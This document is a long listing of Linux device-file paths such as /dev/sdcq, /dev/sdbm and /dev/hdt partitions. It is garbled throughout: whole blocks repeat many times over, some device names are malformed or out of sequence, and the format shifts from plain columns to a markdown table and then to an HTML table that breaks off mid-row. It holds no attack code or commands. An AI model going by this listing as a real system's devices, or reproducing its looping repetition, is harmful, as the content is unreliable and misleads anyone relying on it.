/dev/sddm7 /dev/sddm6 /dev/sddm5
/dev/sddm4 /dev/sddm3 /dev/sddm2
/dev/sddm15 /dev/sddm14 /dev/sddm13
/dev/sddm12 /dev/sddm11 /dev/sddm10
/dev/sddm1 /dev/sddm /dev/sddm9
/dev/sdd18 /dev/sdd17 /dev/sdd16
/dev/sdd15 /dev/sdd14 /dev/sdd13
/dev/sdd12 /dev/sdd11 /dev/sdd14
/dev/sdd13 /dev/sdd12 /dev/sdd11
/dev/sdd10 /dev/sdd1 /dev/sdd1
/dev/sddk9 /dev/sddk8 /dev/sddk7
/dev/sddk6 /dev/sddk5 /dev/sddk4
/dev/sddk3 /dev/sddk2 /dev/sddk1
/dev/sddk14 /dev/sddk13 /dev/sddk12
/dev/sddk11 /dev/sddk10 /dev/sddk1
/dev/sddk /dev/sddj9 /dev/sddj8
/dev/sddj7 /dev/sddj6 /dev/sddj5
/dev/sddj4 /dev/sddj3 /dev/sddj2
/dev/sddj15 /dev/sddj14 /dev/sddj13
/dev/sddj12 /dev/sddj11 /dev/sddj10
/dev/sddj1 /dev/sddj /dev/sddj9
/dev/sdi8 /dev/sdi7 /dev/sdi6
/dev/sdi5 /dev/sdi4 /dev/sdi3
/dev/sdi2 /dev/sdi15 /dev/sdi14
/dev/sdi13 /dev/sdi12 /dev/sdi11
/dev/sdi10 /dev/sdi9 /dev/sdi8
/dev/sdh9 /dev/sdh8 /dev/sdh7
/dev/sdh6 /dev/sdh5 /dev/sdh4
/dev/sdh3 /dev/sdh2 /dev/sdh1
/dev/sdh14 /dev/sdh13 /dev/sdh12
/dev/sdh11 /dev/sdh10 /dev/sdh1
/dev/sdh /dev/sdg9 /dev/sdg8
/dev/sdg7 /dev/sdg6 /dev/sdg5
/dev/sdg4 /dev/sdg3 /dev/sdg2
/dev/sdg15 /dev/sdg14 /dev/sdg13
/dev/sdg12 /dev/sdg11 /dev/sdg10
/dev/sdg1 /dev/sdg /dev/sdg9
/dev/sdf8 /dev/sdf7 /dev/sdf6
/dev/sdf5 /dev/sdf4 /dev/sdf3
/dev/sdf2 /dev/sdf15 /dev/sdf14
/dev/sdf13 /dev/sdf12 /dev/sdf11
/dev/sdf10 /dev/sdf9 /dev/sdf
/dev/sde9 /dev/sde8 /dev/sde7
/dev/sde6 /dev/sde5 /dev/sde4
/dev/sde3 /dev/sde2 /dev/sde1
/dev/sde14 /dev/sde13 /dev/sde12
/dev/sde11 /dev/sde10 /dev/sde1
/dev/sde /dev/sdd9 /dev/sdd8
/dev/sdd7 /dev/sdd6 /dev/sdd5
/dev/sdd4 /dev/sdd3 /dev/sdd2
/dev/sdd15 /dev/sdd14 /dev/sdd13
/dev/sdd12 /dev/sdd11 /dev/sdd10
/dev/sdd1 /dev/sdd /dev/sdc9
/dev/sdc8 /dev/sdc7 /dev/sdc6
/dev/sdc5 /dev/sdc4 /dev/sdc3
/dev/sddc2  /dev/sddc15  /dev/sddc14
/dev/sddc13  /dev/sddc12  /dev/sddc11
/dev/sddc10  /dev/sddc1  /dev/sddc
/dev/sdcb9  /dev/sdcb8  /dev/sdcb7
/dev/sdcb6  /dev/sdcb5  /dev/sdcb4
/dev/sdcb3  /dev/sdcb2  /dev/sdcb15
/dev/sdcb14  /dev/sdcb13  /dev/sdcb12
/dev/sdcb11  /dev/sdcb10  /dev/sdcb1
/dev/sdcb  /dev/sda9  /dev/sda8
/dev/sdda7  /dev/sdda6  /dev/sdda5
/dev/sdda4  /dev/sdda3  /dev/sdda2
/dev/sdda15  /dev/sdda14  /dev/sdda13
/dev/sdda12  /dev/sdda11  /dev/sdda10
/dev/sdda1  /dev/sda  /dev/sd9
/dev/sdd8  /dev/sdd7  /dev/sd6
/dev/sdd5  /dev/sdd4  /dev/sd3
/dev/sdd2  /dev/sdd15  /dev/sdd14
/dev/sdd13  /dev/sdd12  /dev/sdd11
/dev/sdd10  /dev/sdd1  /dev/sdd
/dev/sdcz9  /dev/sdcz8  /dev/sdcz7
/dev/sdcz6  /dev/sdcz5  /dev/sdcz4
/dev/sdcz3  /dev/sdcz2  /dev/sdcz15
/dev/sdcz14  /dev/sdcz13  /dev/sdcz12
/dev/sdcz11  /dev/sdcz10  /dev/sdcz1
/dev/sdcz  /dev/sdcy9  /dev/sdcy8
/dev/sdcy7  /dev/sdcy6  /dev/sdcy5
/dev/sdcy4  /dev/sdcy3  /dev/sdcy2
/dev/sdcy15  /dev/sdcy14  /dev/sdcy13
/dev/sdcy12  /dev/sdcy11  /dev/sdcy10
/dev/sdcy1  /dev/sdcy  /dev/sdcx9
/dev/sdcx8  /dev/sdcx7  /dev/sdcx6
/dev/sdcx5  /dev/sdcx4  /dev/sdcx3
/dev/sdcx2  /dev/sdcx15  /dev/sdcx14
/dev/sdcx13  /dev/sdcx12  /dev/sdcx11
/dev/sdcx10  /dev/sdcx1  /dev/sdcx
/dev/sdcw9  /dev/sdcw8  /dev/sdcw7
/dev/sdcw6  /dev/sdcw5  /dev/sdcw4
/dev/sdcw3  /dev/sdcw2  /dev/sdcw15
/dev/sdcw14  /dev/sdcw13  /dev/sdcw12
/dev/sdcw11  /dev/sdcw10  /dev/sdcw1
/dev/sdcw  /dev/sdcv9  /dev/sdcv8
/dev/sdcv7  /dev/sdcv6  /dev/sdcv5
/dev/sdcv4  /dev/sdcv3  /dev/sdcv2
/dev/sdcv15  /dev/sdcv14  /dev/sdcv13
/dev/sdcv12  /dev/sdcv11  /dev/sdcv10
/dev/sdcv1  /dev/sdcv  /dev/sdu9
/dev/sdcu8  /dev/sdcu7  /dev/sdcu6
/dev/sdcu5  /dev/sdcu4  /dev/sdcu3
/dev/sdcu2  /dev/sdcu15  /dev/sdcu14
/dev/sdcu13  /dev/sdcu12  /dev/sdcu11
/dev/sdcu10  /dev/sdcu1  /dev/sdcu
/dev/sdct9  /dev/sdct8  /dev/sdct7
/dev/sdct6  /dev/sdct5  /dev/sdct4
/dev/sdct3  /dev/sdct2  /dev/sdct15
/dev/sdct14  /dev/sdct13  /dev/sdct12
/dev/sdct11  /dev/sdct10  /dev/sdct1
/dev/sdct  /dev/sdcs9  /dev/sdcs8
```
| /dev/sdcs7   | /dev/sdcs6   | /dev/sdcs5   |
| /dev/sdcs4   | /dev/sdcs3   | /dev/sdcs2   |
| /dev/sdcs15  | /dev/sdcs14  | /dev/sdcs13  |
| /dev/sdcs12  | /dev/sdcs11  | /dev/sdcs10  |
| /dev/sdcs1   | /dev/sdcs    | /dev/sdcr9   |
| /dev/sdcr8   | /dev/sdcr7   | /dev/sdcr6   |
| /dev/sdcr5   | /dev/sdcr4   | /dev/sdcr3   |
| /dev/sdcr2   | /dev/sdcr15  | /dev/sdcr14  |
| /dev/sdcr13  | /dev/sdcr12  | /dev/sdcr11  |
| /dev/sdcr10  | /dev/sdcr1   | /dev/sdcr    |
| /dev/sdcq9   | /dev/sdcq8   | /dev/sdcq7   |
| /dev/sdcq6   | /dev/sdcq5   | /dev/sdcq4   |
| /dev/sdcq3   | /dev/sdcq2   | /dev/sdcq15  |
| /dev/sdcq14  | /dev/sdcq13  | /dev/sdcq12  |
| /dev/sdcq11  | /dev/sdcq10  | /dev/sdcq1   |
| /dev/sdcq7   | /dev/sdcq6   | /dev/sdcq5   |
| /dev/sdcq4   | /dev/sdcq3   | /dev/sdcq2   |
| /dev/sdcq15  | /dev/sdcq14  | /dev/sdcq13  |
| /dev/sdcq12  | /dev/sdcq11  | /dev/sdcq10  |
| /dev/sdcq1   | /dev/sdcq    | /dev/sdcp9   |
| /dev/sdcp7   | /dev/sdcp6   | /dev/sdcp5   |
| /dev/sdcp4   | /dev/sdcp3   | /dev/sdcp2   |
| /dev/sdcp15  | /dev/sdcp14  | /dev/sdcp13  |
| /dev/sdcp12  | /dev/sdcp11  | /dev/sdcp10  |
| /dev/sdcp1   | /dev/sdcp    | /dev/sdco9   |
| /dev/sdco8   | /dev/sdco7   | /dev/sdco6   |
| /dev/sdco5   | /dev/sdco4   | /dev/sdco3   |
| /dev/sdco2   | /dev/sdco15  | /dev/sdco14  |
| /dev/sdco13  | /dev/sdco12  | /dev/sdco11  |
| /dev/sdco10  | /dev/sdco1   | /dev/sdco    |
| /dev/sdco9   | /dev/sdco8   | /dev/sdco7   |
| /dev/sdco6   | /dev/sdco5   | /dev/sdco4   |
| /dev/sdco3   | /dev/sdco2   | /dev/sdco15  |
| /dev/sdco14  | /dev/sdco13  | /dev/sdco12  |
| /dev/sdco11  | /dev/sdco10  | /dev/sdco1   |
| /dev/sdco7   | /dev/sdco6   | /dev/sdco5   |
| /dev/sdco4   | /dev/sdco3   | /dev/sdco2   |
| /dev/sdco15  | /dev/sdco14  | /dev/sdco13  |
| /dev/sdco12  | /dev/sdco11  | /dev/sdco10  |
| /dev/sdco1   | /dev/sdco    | /dev/sdcm9   |
| /dev/sdcm7   | /dev/sdcm6   | /dev/sdcm5   |
| /dev/sdcm4   | /dev/sdcm3   | /dev/sdcm2   |
| /dev/sdcm15  | /dev/sdcm14  | /dev/sdcm13  |
| /dev/sdcm12  | /dev/sdcm11  | /dev/sdcm10  |
| /dev/sdcm1   | /dev/sdcm    | /dev/sdcm19  |
| /dev/sdcm18  | /dev/sdcm17  | /dev/sdcm16  |
| /dev/sdcm15  | /dev/sdcm14  | /dev/sdcm13  |
| /dev/sdcm12  | /dev/sdcm11  | /dev/sdcm10  |
| /dev/sdcm13  | /dev/sdcm12  | /dev/sdcm1   |
| /dev/sdcm10  | /dev/sdcm1   | /dev/sdck9   |
| /dev/sdck8   | /dev/sdck7   | /dev/sdck6   |
| /dev/sdck5   | /dev/sdck4   | /dev/sdck3   |
| /dev/sdck2   | /dev/sdck15  | /dev/sdck14  |
| /dev/sdck13  | /dev/sdck12  | /dev/sdck11  |
| /dev/sdck10  | /dev/sdck10  | /dev/sdck7   |
| /dev/sdck9   | /dev/sdck8   | /dev/sdck5   |
| /dev/sdck4   | /dev/sdck3   | /dev/sdck2   |
| /dev/sdck14  | /dev/sdck13  | /dev/sdck12  |
| /dev/sdck11  | /dev/sdck10  | /dev/sdck1   |
| /dev/sdck    | /dev/sdck9   | /dev/sdck8   |
| /dev/sdck7   | /dev/sdck6   | /dev/sdck5   |
| /dev/sdck4   | /dev/sdck3   | /dev/sdck2   |
| /dev/sdck14  | /dev/sdck13  | /dev/sdck12  |
| /dev/sdck11  | /dev/sdck10  | /dev/sdck1   |
| /dev/sdck    | /dev/sdck9   | /dev/sdck8   |
| /dev/sdck7   | /dev/sdck6   | /dev/sdck5   |
| /dev/sdck4   | /dev/sdck3   | /dev/sdck2   |
| /dev/sdck14  | /dev/sdck13  | /dev/sdck12  |
| /dev/sdck11  | /dev/sdck10  | /dev/sdck1   |
| /dev/sdck    | /dev/sdck9   | /dev/sdck8   |
| /dev/sdck7   | /dev/sdck6   | /dev/sdck5   |
| /dev/sdck4   | /dev/sdck3   | /dev/sdck2   |
| /dev/sdck14  | /dev/sdck13  | /dev/sdck12  |
| /dev/sdck11  | /dev/sdck10  | /dev/sdck1   |
```

| /dev/sdci10 | /dev/sdci1 | /dev/sdci |
| /dev/sdch9  | /dev/sdch8 | /dev/sdch7 |
| /dev/sdch6  | /dev/sdch5 | /dev/sdch4 |
| /dev/sdch3  | /dev/sdch2 | /dev/sdch15 |
| /dev/sdch14 | /dev/sdch13| /dev/sdch12 |
| /dev/sdch11 | /dev/sdch10| /dev/sdch1  |
| /dev/sdch   | /dev/sdch9 | /dev/sdch8 |
| /dev/sdcg7  | /dev/sdcg6 | /dev/sdcg5 |
| /dev/sdcg15 | /dev/sdcg14| /dev/sdcg13 |
| /dev/sdcg12 | /dev/sdcg11| /dev/sdcg10 |
| /dev/sdcg1  | /dev/sdcg  | /dev/sdcg9 |
| /dev/sdch7  | /dev/sdch6 | /dev/sdch5 |
| /dev/sdch4  | /dev/sdch3 | /dev/sdch2 |
| /dev/sdch15 | /dev/sdch14| /dev/sdch13 |
| /dev/sdch11 | /dev/sdch10| /dev/sdch1  |
| /dev/sdch   | /dev/sdch9 | /dev/sdch8 |
| /dev/sdcg7  | /dev/sdcg6 | /dev/sdcg5 |
| /dev/sdcg15 | /dev/sdcg14| /dev/sdcg13 |
| /dev/sdcg12 | /dev/sdcg11| /dev/sdcg10 |
| /dev/sdcg1  | /dev/sdcg  | /dev/sdcg9 |
| /dev/sdch7  | /dev/sdch6 | /dev/sdch5 |
| /dev/sdch4  | /dev/sdch3 | /dev/sdch2 |
| /dev/sdch15 | /dev/sdch14| /dev/sdch13 |
| /dev/sdch11 | /dev/sdch10| /dev/sdch1  |
| /dev/sdch   | /dev/sdch9 | /dev/sdch8 |
| /dev/sdcg7  | /dev/sdcg6 | /dev/sdcg5 |
| /dev/sdcg15 | /dev/sdcg14| /dev/sdcg13 |
| /dev/sdcg12 | /dev/sdcg11| /dev/sdcg10 |
| /dev/sdcg1  | /dev/sdcg  | /dev/sdcg9 |
| /dev/sdch7  | /dev/sdch6 | /dev/sdch5 |
| /dev/sdch4  | /dev/sdch3 | /dev/sdch2 |
| /dev/sdch15 | /dev/sdch14| /dev/sdch13 |
| /dev/sdch11 | /dev/sdch10| /dev/sdch1  |
| /dev/sdch   | /dev/sdch9 | /dev/sdch8 |
| /dev/sdcg7  | /dev/sdcg6 | /dev/sdcg5 |
| /dev/sdcg15 | /dev/sdcg14| /dev/sdcg13 |
| /dev/sdcg12 | /dev/sdcg11| /dev/sdcg10 |
| /dev/sdcg1  | /dev/sdcg  | /dev/sdcg9 |
| /dev/sdch7  | /dev/sdch6 | /dev/sdch5 |
| /dev/sdch4  | /dev/sdch3 | /dev/sdch2 |
| /dev/sdch15 | /dev/sdch14| /dev/sdch13 |
| /dev/sdch11 | /dev/sdch10| /dev/sdch1  |
| /dev/sdch   | /dev/sdch9 | /dev/sdch8 |
| /dev/sdcg7  | /dev/sdcg6 | /dev/sdcg5 |
| /dev/sdcg15 | /dev/sdcg14| /dev/sdcg13 |
| /dev/sdcg12 | /dev/sdcg11| /dev/sdcg10 |
| /dev/sdcg1  | /dev/sdcg  | /dev/sdcg9 |
| /dev/sdch7  | /dev/sdch6 | /dev/sdch5 |
| /dev/sdch4  | /dev/sdch3 | /dev/sdch2 |
| /dev/sdch15 | /dev/sdch14| /dev/sdch13 |
| /dev/sdch11 | /dev/sdch10| /dev/sdch1  |
| /dev/sdch   | /dev/sdch9 | /dev/sdch8 |
| /dev/sdcg7  | /dev/sdcg6 | /dev/sdcg5 |
| /dev/sdcg15 | /dev/sdcg14| /dev/sdcg13 |
| /dev/sdcg12 | /dev/sdcg11| /dev/sdcg10 |
| /dev/sdcg1  | /dev/sdcg  | /dev/sdcg9 |
| /dev/sdch7  | /dev/sdch6 | /dev/sdch5 |
| /dev/sdch4  | /dev/sdch3 | /dev/sdch2 |
| /dev/sdch15 | /dev/sdch14| /dev/sdch13 |
| /dev/sdch11 | /dev/sdch10| /dev/sdch1  |
| /dev/sdch   | /dev/sdch9 | /dev/sdch8 |
| /dev/sdcg7  | /dev/sdcg6 | /dev/sdcg5 |
| /dev/sdcg15 | /dev/sdcg14| /dev/sdcg13 |
| /dev/sdcg12 | /dev/sdcg11| /dev/sdcg10 |
| /dev/sdcg1  | /dev/sdcg  | /dev/sdcg9 |
| /dev/sdch7  | /dev/sdch6 | /dev/sdch5 |
| /dev/sdch4  | /dev/sdch3 | /dev/sdch2 |
| /dev/sdch15 | /dev/sdch14| /dev/sdch13 |
| /dev/sdch11 | /dev/sdch10| /dev/sdch1  |
| /dev/sdch   | /dev/sdch9 | /dev/sdch8 |
| /dev/sdcg7  | /dev/sdcg6 | /dev/sdcg5 |
| /dev/sdcg15 | /dev/sdcg14| /dev/sdcg13 |
| /dev/sdcg12 | /dev/sdcg11| /dev/sdcg10 |
| /dev/sdcg1  | /dev/sdcg  | /dev/sdcg9 |
| /dev/sdch7  | /dev/sdch6 | /dev/sdch5 |
| /dev/sdch4  | /dev/sdch3 | /dev/sdch2 |
/dev/sdbn6 /dev/sdbn5 /dev/sdbn4
/dev/sdbn3 /dev/sdbn2 /dev/sdbn15
/dev/sdbn14 /dev/sdbn13 /dev/sdbn12
/dev/sdbn11 /dev/sdbn10 /dev/sdbn1
/dev/sdbn /dev/sdbm9 /dev/sdbm8
/dev/sdbm7 /dev/sdbm6 /dev/sdbm5
/dev/sdbm4 /dev/sdbm3 /dev/sdbm2
/dev/sdbm15 /dev/sdbm14 /dev/sdbm13
/dev/sdbm12 /dev/sdbm11 /dev/sdbm10
/dev/sdbm1 /dev/sdbm /dev/sdbm9
/dev/sdbm8 /dev/sdbm7 /dev/sdbm6
/dev/sdbm5 /dev/sdbm4 /dev/sdbm3
/dev/sdbm2 /dev/sdbm1 /dev/sdbm15
/dev/sdbm14 /dev/sdbm13 /dev/sdbm12
/dev/sdbm11 /dev/sdbm10 /dev/sdbm1
/dev/sdbm9 /dev/sdbm8 /dev/sdbm7
/dev/sdbm6 /dev/sdbm5 /dev/sdbm4
/dev/sdbm3 /dev/sdbm2 /dev/sdbm1
/dev/sdbm15 /dev/sdbm14 /dev/sdbm13
/dev/sdbm12 /dev/sdbm11 /dev/sdbm10
/dev/sdbm1 /dev/sdbm /dev/sdbm9
/dev/sdbm8 /dev/sdbm7 /dev/sdbm6
/dev/sdbm5 /dev/sdbm4 /dev/sdbm3
/dev/sdbm2 /dev/sdbm1 /dev/sdbm15
/dev/sdbm14 /dev/sdbm13 /dev/sdbm12
/dev/sdbm11 /dev/sdbm10 /dev/sdbm1
/dev/sdbm9 /dev/sdbm8 /dev/sdbm7
/dev/sdbm6 /dev/sdbm5 /dev/sdbm4
/dev/sdbm3 /dev/sdbm2 /dev/sdbm1
/dev/sdbm15 /dev/sdbm14 /dev/sdbm13
/dev/sdbm12 /dev/sdbm11 /dev/sdbm10
/dev/sdbm1 /dev/sdbm /dev/sdbm9
/dev/sdbm8 /dev/sdbm7 /dev/sdbm6
/dev/sdbm5 /dev/sdbm4 /dev/sdbm3
/dev/sdbm2 /dev/sdbm1 /dev/sdbm15
/dev/sdbm14 /dev/sdbm13 /dev/sdbm12
/dev/sdbm11 /dev/sdbm10 /dev/sdbm1
/dev/sdbm9 /dev/sdbm8 /dev/sdbm7
/dev/sdbm6 /dev/sdbm5 /dev/sdbm4
/dev/sdbm3 /dev/sdbm2 /dev/sdbm1
/dev/sdbm15 /dev/sdbm14 /dev/sdbm13
/dev/sdbm12 /dev/sdbm11 /dev/sdbm10
/dev/sdbm1 /dev/sdbm /dev/sdbm9
/dev/sdbm8 /dev/sdbm7 /dev/sdbm6
/dev/sdbm5 /dev/sdbm4 /dev/sdbm3
/dev/sdbm2 /dev/sdbm1 /dev/sdbm15
/dev/sdbm14 /dev/sdbm13 /dev/sdbm12
/dev/sdbm11 /dev/sdbm10 /dev/sdbm1
/dev/sdbm9 /dev/sdbm8 /dev/sdbm7
/dev/sdbm6 /dev/sdbm5 /dev/sdbm4
/dev/sdbm3 /dev/sdbm2 /dev/sdbm1
/dev/sdbm15 /dev/sdbm14 /dev/sdbm13
/dev/sdbm12 /dev/sdbm11 /dev/sdbm10
/dev/sdbm1 /dev/sdbm /dev/sdbm9
/dev/sdbm8 /dev/sdbm7 /dev/sdbm6
/dev/sdbm5 /dev/sdbm4 /dev/sdbm3
/dev/sdbm2 /dev/sdbm1 /dev/sdbm15
/dev/sdbm14 /dev/sdbm13 /dev/sdbm12
/dev/sdbm11 /dev/sdbm10 /dev/sdbm1
/dev/sdbm9 /dev/sdbm8 /dev/sdbm7
/dev/sdbm6 /dev/sdbm5 /dev/sdbm4
/dev/sdbm3 /dev/sdbm2 /dev/sdbm1
/dev/sdbm15 /dev/sdbm14 /dev/sdbm13
/dev/sdbm12 /dev/sdbm11 /dev/sdbm10
/dev/sdbm1 /dev/sdbm /dev/sdbm9
/dev/sdbm8 /dev/sdbm7 /dev/sdbm6
/dev/sdbm5 /dev/sdbm4 /dev/sdbm3
/dev/sdbm2 /dev/sdbm1 /dev/sdbm15
/dev/sdbm14 /dev/sdbm13 /dev/sdbm12
/dev/sdbm11 /dev/sdbm10 /dev/sdbm1
/dev/sdbm9 /dev/sdbm8 /dev/sdbm7
/dev/sdbm6 /dev/sdbm5 /dev/sdbm4
/dev/sdbm3 /dev/sdbm2 /dev/sdbm1
/dev/sdbm15 /dev/sdbm14 /dev/sdbm13
/dev/sdbm12 /dev/sdbm11 /dev/sdbm10
/dev/sdbm1 /dev/sdbm /dev/sdbm9
/dev/sdbm8 /dev/sdbm7 /dev/sdbm6
/dev/sdbm5 /dev/sdbm4 /dev/sdbm3
/dev/sdbm2 /dev/sdbm1 /dev/sdbm15
/dev/sdbm14 /dev/sdbm13 /dev/sdbm12
/dev/sdbm11 /dev/sdbm10 /dev/sdbm1
/dev/sdbm9 /dev/sdbm8 /dev/sdbm7
/dev/sdbm6 /dev/sdbm5 /dev/sdbm4
/dev/sdbm3 /dev/sdbm2 /dev/sdbm1
/dev/sdbm15 /dev/sdbm14 /dev/sdbm13
/dev/sdbm12 /dev/sdbm11 /dev/sdbm10
/dev/sdbm1 /dev/sdbm /dev/sdbm9
/dev/sdbm8 /dev/sdbm7 /dev/sdbm6
/dev/sdbm5 /dev/sdbm4 /dev/sdbm3
/dev/sdbm2 /dev/sdbm1 /dev/sdbm15
/dev/sdbm14 /dev/sdbm13 /dev/sdbm12
/dev/sdbm11 /dev/sdbm10 /dev/sdbm1
/dev/hdt9  /dev/hdt8  /dev/hdt7
/dev/hdt6  /dev/hdt5   /dev/hdt4
/dev/hdt32 /dev/hdt31 /dev/hdt30
/dev/hdt3  /dev/hdt29 /dev/hdt28
/dev/hdt27 /dev/hdt26 /dev/hdt25
/dev/hdt24 /dev/hdt23 /dev/hdt22
/dev/hdt21 /dev/hdt20 /dev/hdt2
/dev/hdt19 /dev/hdt18  /dev/hdt17
/dev/hdt16 /dev/hdt15  /dev/hdt14
/dev/hdt13 /dev/hdt12  /dev/hdt11
/dev/hdt10 /dev/hdt9   /dev/hdt
/dev/hds9  /dev/hds8   /dev/hds7
/dev/hds6  /dev/hds5   /dev/hds4
/dev/hds32 /dev/hds31 /dev/hds30
/dev/hds3  /dev/hds29 /dev/hds28
/dev/hds27 /dev/hds26 /dev/hds25
/dev/hds24 /dev/hds23 /dev/hds22
/dev/hds21 /dev/hds20 /dev/hds2
/dev/hds19 /dev/hds18  /dev/hds17
/dev/hds16 /dev/hds15  /dev/hds14
/dev/hds13 /dev/hds12  /dev/hds11
/dev/hds10 /dev/hds9   /dev/hds
/dev/hdr9  /dev/hdr8   /dev/hdr7
/dev/hdr6  /dev/hdr5   /dev/hdr4
/dev/hdr32 /dev/hdr31 /dev/hdr30
/dev/hdr3  /dev/hdr29 /dev/hdr28
/dev/hdr27 /dev/hdr26 /dev/hdr25
/dev/hdr24 /dev/hdr23 /dev/hdr22
/dev/hdr21 /dev/hdr20 /dev/hdr2
/dev/hdr19 /dev/hdr18  /dev/hdr17
/dev/hdr16 /dev/hdr15  /dev/hdr14
/dev/hdr13 /dev/hdr12  /dev/hdr11
/dev/hdr10 /dev/hdr9   /dev/hdr
/dev/hdq9  /dev/hdq8   /dev/hdq7
/dev/hdq6  /dev/hdq5   /dev/hdq4
/dev/hdq32 /dev/hdq31 /dev/hdq30
/dev/hdq3  /dev/hdq29 /dev/hdq28
/dev/hdq27 /dev/hdq26 /dev/hdq25
/dev/hdq24 /dev/hdq23 /dev/hdq22
/dev/hdq21 /dev/hdq20 /dev/hdq2
/dev/hdq19 /dev/hdq18  /dev/hdq17
/dev/hdq16 /dev/hdq15  /dev/hdq14
/dev/hdq13 /dev/hdq12  /dev/hdq11
/dev/hdq10 /dev/hdq9   /dev/hdq
/dev/hdp9  /dev/hdp8   /dev/hdp7
/dev/hdp6  /dev/hdp5   /dev/hdp4
/dev/hdp32 /dev/hdp31 /dev/hdp30
/dev/hdp3  /dev/hdp29 /dev/hdp28
/dev/hdp27 /dev/hdp26 /dev/hdp25
/dev/hdp24 /dev/hdp23 /dev/hdp22
/dev/hdp21 /dev/hdp20 /dev/hdp2
/dev/hdp19 /dev/hdp18  /dev/hdp17
/dev/hdp16 /dev/hdp15  /dev/hdp14
/dev/hdp13 /dev/hdp12  /dev/hdp11
/dev/hdp10 /dev/hdp9   /dev/hdp
/dev/hdo9  /dev/hdo8   /dev/hdo7
/dev/hdo6  /dev/hdo5   /dev/hdo4
/dev/hdo32 /dev/hdo31 /dev/hdo30
/dev/hdo3 /dev/hdo29 /dev/hdo28
/dev/hdo27 /dev/hdo26 /dev/hdo25
/dev/hdo24 /dev/hdo23 /dev/hdo22
/dev/hdo21 /dev/hdo20 /dev/hdo2
/dev/hdo19 /dev/hdo18 /dev/hdo17
/dev/hdo16 /dev/hdo15 /dev/hdo14
/dev/hdo13 /dev/hdo12 /dev/hdo11
/dev/hdo10 /dev/hdo1 /dev/hdo
/dev/hdn9 /dev/hdn8 /dev/hdn7
/dev/hdn6 /dev/hdn5 /dev/hdn4
/dev/hdn32 /dev/hdn31 /dev/hdn30
/dev/hdn3 /dev/hdn29 /dev/hdn28
/dev/hdn27 /dev/hdn26 /dev/hdn25
/dev/hdn24 /dev/hdn23 /dev/hdn22
/dev/hdn21 /dev/hdn20 /dev/hdn2
/dev/hdn19 /dev/hdn18 /dev/hdn17
/dev/hdn16 /dev/hdn15 /dev/hdn14
/dev/hdn13 /dev/hdn12 /dev/hdn11
/dev/hdn10 /dev/hdn1 /dev/hdn
/dev/hdm9 /dev/hdm8 /dev/hdm7
/dev/hdm6 /dev/hdm5 /dev/hdm4
/dev/hdm32 /dev/hdm31 /dev/hdm30
/dev/hdm3 /dev/hdm29 /dev/hdm28
/dev/hdm27 /dev/hdm26 /dev/hdm25
/dev/hdm24 /dev/hdm23 /dev/hdm22
/dev/hdm21 /dev/hdm20 /dev/hdm2
/dev/hdm19 /dev/hdm18 /dev/hdm17
/dev/hdm16 /dev/hdm15 /dev/hdm14
/dev/hdm13 /dev/hdm12 /dev/hdm11
/dev/hdm10 /dev/hdm1 /dev/hdm
/dev/hd19 /dev/hd18 /dev/hd17
/dev/hd16 /dev/hd15 /dev/hd14
/dev/hd13 /dev/hd129 /dev/hd128
/dev/hd127 /dev/hd126 /dev/hd125
/dev/hd124 /dev/hd123 /dev/hd122
/dev/hd121 /dev/hd120 /dev/hd12
/dev/hd119 /dev/hd118 /dev/hd117
/dev/hd116 /dev/hd115 /dev/hd114
/dev/hd113 /dev/hd112 /dev/hd111
/dev/hd110 /dev/hd11 /dev/hd1
/dev/hdk9 /dev/hdk8 /dev/hdk7
/dev/hdk6 /dev/hdk5 /dev/hdk4
/dev/hdk32 /dev/hdk31 /dev/hdk30
/dev/hdk3 /dev/hdk29 /dev/hdk28
/dev/hdk27 /dev/hdk26 /dev/hdk25
/dev/hdk24 /dev/hdk23 /dev/hdk22
/dev/hdk21 /dev/hdk20 /dev/hdk2
/dev/hdk19 /dev/hdk18 /dev/hdk17
/dev/hdk16 /dev/hdk15 /dev/hdk14
/dev/hdk13 /dev/hdk12 /dev/hdk11
/dev/hdk10 /dev/hdk1 /dev/hdk
/dev/hdj9 /dev/hdj8 /dev/hdj7
/dev/hdj6 /dev/hdj5 /dev/hdj4
/dev/hdj32 /dev/hdj31 /dev/hdj30
/dev/hdj3 /dev/hdj29 /dev/hdj28
/dev/hdj27  /dev/hdj26  /dev/hdj25
/dev/hdj24  /dev/hdj23  /dev/hdj22
/dev/hdj21  /dev/hdj20  /dev/hdj19
/dev/hdj16  /dev/hdj15  /dev/hdj14
/dev/hdj13  /dev/hdj12  /dev/hdj11
/dev/hdj10  /dev/hdj9   /dev/hdj8
/dev/hdj6   /dev/hdj5   /dev/hdj4
/dev/hdh32  /dev/hdh31  /dev/hdh30
/dev/hdh3   /dev/hdh29  /dev/hdh28
/dev/hdh27  /dev/hdh26  /dev/hdh25
/dev/hdh24  /dev/hdh23  /dev/hdh22
/dev/hdh21  /dev/hdh20  /dev/hdh19
/dev/hdh16  /dev/hdh15  /dev/hdh14
/dev/hdh13  /dev/hdh12  /dev/hdh11
/dev/hdh10  /dev/hdh9   /dev/hdh8
/dev/hdg9   /dev/hdg8   /dev/hdg7
/dev/hdg6   /dev/hdg5   /dev/hdg4
/dev/hdg32  /dev/hdg31  /dev/hdg30
/dev/hdg3   /dev/hdg29  /dev/hdg28
/dev/hdg27  /dev/hdg26  /dev/hdg25
/dev/hdg24  /dev/hdg23  /dev/hdg22
/dev/hdg21  /dev/hdg20  /dev/hdg19
/dev/hdg19  /dev/hdg18  /dev/hdg17
/dev/hdg16  /dev/hdg15  /dev/hdg14
/dev/hdg13  /dev/hdg12  /dev/hdg11
/dev/hdg10  /dev/hdg9   /dev/hdg8
/dev/hdf9   /dev/hdf8   /dev/hdf7
/dev/hdf6   /dev/hdf5   /dev/hdf4
/dev/hdf32  /dev/hdf31  /dev/hdf30
/dev/hdf3   /dev/hdf29  /dev/hdf28
/dev/hdf27  /dev/hdf26  /dev/hdf25
/dev/hdf24  /dev/hdf23  /dev/hdf22
/dev/hdf21  /dev/hdf20  /dev/hdf19
/dev/hdf19  /dev/hdf18  /dev/hdf17
/dev/hdf16  /dev/hdf15  /dev/hdf14
/dev/hdf13  /dev/hdf12  /dev/hdf11
/dev/hdf10  /dev/hdf9   /dev/hdf8
/dev/hde9   /dev/hde8   /dev/hde7
/dev/hde6   /dev/hde5   /dev/hde4
/dev/hde32  /dev/hde31  /dev/hde30
/dev/hde3   /dev/hde29  /dev/hde28
/dev/hde27  /dev/hde26  /dev/hde25
/dev/hde24  /dev/hde23  /dev/hde22
<table>
<thead>
<tr>
<th>Path</th>
<th>Path</th>
<th>Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>/dev/hde21</td>
<td>/dev/hde20</td>
